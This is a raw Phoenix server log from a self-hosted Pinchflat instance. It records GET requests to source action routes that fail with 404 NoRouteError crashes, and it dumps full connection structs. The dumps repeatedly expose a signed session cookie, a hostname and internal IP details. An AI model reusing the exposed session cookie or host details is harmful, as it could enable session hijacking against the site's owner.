{PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_download_pending", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb2 (truncated) 22:17:24.156 [info] GET /sources/10/force_redownload 22:17:24.157 [debug] QUERY OK source="settings" db=0.2ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.157 [debug] QUERY OK source="settings" db=0.1ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.157 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.157 [error] #PID<0.37217.0> running PinchflatWeb.Endpoint (connection #PID<0.37077.0>, stream id 16) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37217.0>, params: %{}, path_info: ["sources", "10", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvmPS8rbiGCUAAXBk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMe (truncated) 22:17:24.160 [info] GET /sources/10/force_metadata_refresh 22:17:24.160 [debug] QUERY OK source="settings" db=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.160 [debug] QUERY OK source="settings" db=0.1ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.160 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.161 [error] #PID<0.37218.0> running PinchflatWeb.Endpoint (connection #PID<0.37077.0>, stream id 17) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37218.0>, params: %{}, path_info: ["sources", "10", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvmQHBKOOXC0AARsi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44466}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb2 (truncated) 22:17:24.165 [debug] QUERY OK source="source_metadata" db=0.4ms idle=11.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 22:17:24.166 [info] Sent 200 in 18ms 22:17:24.357 [info] GET /sources/10/force_index 22:17:24.359 [debug] QUERY OK source="settings" db=0.4ms idle=201.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.359 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=201.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:24.359 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:24.360 [error] #PID<0.37219.0> running PinchflatWeb.Endpoint (connection #PID<0.37083.0>, stream id 29) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/10/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37219.0>, params: %{}, path_info: ["sources", "10", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/10/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvm_MUsZMiMEAAX9h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/10/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37083.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/10/force_index", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44488}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 29, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: f (truncated) 22:17:24.384 [info] GET /sources/10/sync_files_on_disk 22:17:24.384 [info] GET /sources/10/force_download_pending 22:17:24.385 [debug] QUERY OK 